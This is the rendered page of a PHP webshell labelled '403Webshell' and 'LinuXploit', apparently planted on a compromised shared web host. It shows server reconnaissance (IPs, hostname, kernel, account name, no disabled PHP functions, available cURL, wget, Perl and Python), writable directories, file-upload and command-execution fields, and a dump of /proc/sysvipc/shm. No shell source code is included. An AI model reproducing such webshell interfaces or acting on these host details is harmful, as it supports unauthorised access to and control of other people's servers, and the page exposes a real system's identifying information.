403Webshell
Server IP : 172.67.158.161  /  Your IP : 18.217.222.205
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0    2162688  1600                108520 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729793                  8192                102400
         0    2162689  1600                130224 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729795                  4096                126976
         0    2162690  1600                151952 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729797                  8192                147456
      5555          4   644                  1024  5388 2371812      0     0     0     0     0 1729335364 1729335364 1727850134                  4096                     0
         0    2162693  1600                173704 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729799                  8192                167936
         0    7569414  1400                284984 2275863 2275863      1   484   479     0     0 1729317756 1729317756 1729317756                286720                     0
         0    2162695  1600                195400 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729802                     0                196608
         0    2162696  1600                217088 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729805                 16384                200704
         0    2162697  1600                238776 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729808                  8192                233472
         0    2162698  1600                260464 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729810                 12288                249856
         0    2162699  1600                282160 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729812                  8192                274432
         0    2162700  1600                303864 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729814                  4096                303104
         0    2162701  1600                325560 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729817                  8192                319488
         0    2162702  1600                347264 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729819                 12288                335872
         0    2162703  1600                368960 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729821                 16384                356352
         0    2162704  1600                390664 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729824                 90112                303104
         0    2162705  1600                412360 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729827                319488                 94208
         0    2162706  1600                434064 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729830                339968                 94208
         0    2162707  1600                455752 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729832                360448                 98304
         0    2162708  1600                477480 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729834                372736                106496
         0    2162709  1600                499176 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729837                385024                114688
         0    2162710  1600                520864 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729840                409600                114688
         0    2162711  1600                542552 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729843                401408                143360
         0    2162712  1600                564248 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729845                434176                131072
         0    2162713  1600                585952 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729847                446464                143360
         0    2162714  1600                607648 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729849                466944                143360
         0    2162715  1600                629336 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729852                466944                163840
         0    2162716  1600                651024 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729855                495616                155648
         0    2162717  1600                672736 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729858                499712                176128
         0    2162718  1600                694432 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729860                536576                159744
         0    2162719   600                716128 138226 3610220      2   475   468   475   468 1729344375 1729344375 1728729863                716800                     0
   5432002    2162720   600                    56 147264 3610424      6    26    26    26    26 1729344377 1729344377 1728729864                     0                  4096
         0    7569441  1400                286280 2275863 3609432      1   484   479     0     0 1729344368 1729344368 1729317756                286720                     0
         0    7798830  1600                524288 3601663 3608308      1   610   606   610   606 1729344359 1729344372 1729344304                  8192                     0
   5432001    7700535   600                    56 2248678 3608315     32   465   455   465   455 1729344359 1729344360 1729334274                  4096                     0
         0    2129978  1600                   576 138217 3610220      6   475   468   475   468 1729344375 1729344375 1728729776                  4096                     0
         0    2129979  1600               1825056 138217 3610220      6   475   468   475   468 1729344375 1729344375 1728729776               1826816                     0
         0    2129980  1600                 21712 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729776                     0                 24576
         0    2129981  1600                 43408 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729779                  4096                 40960
         0    2129982  1600                 65112 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729787                  8192                 57344
         0    2129983  1600                 86816 138226 3610220      1   475   468   475   468 1729344375 1729344375 1728729790                     0                 90112

Youez - 2016 - github.com/yon3zu
LinuXploit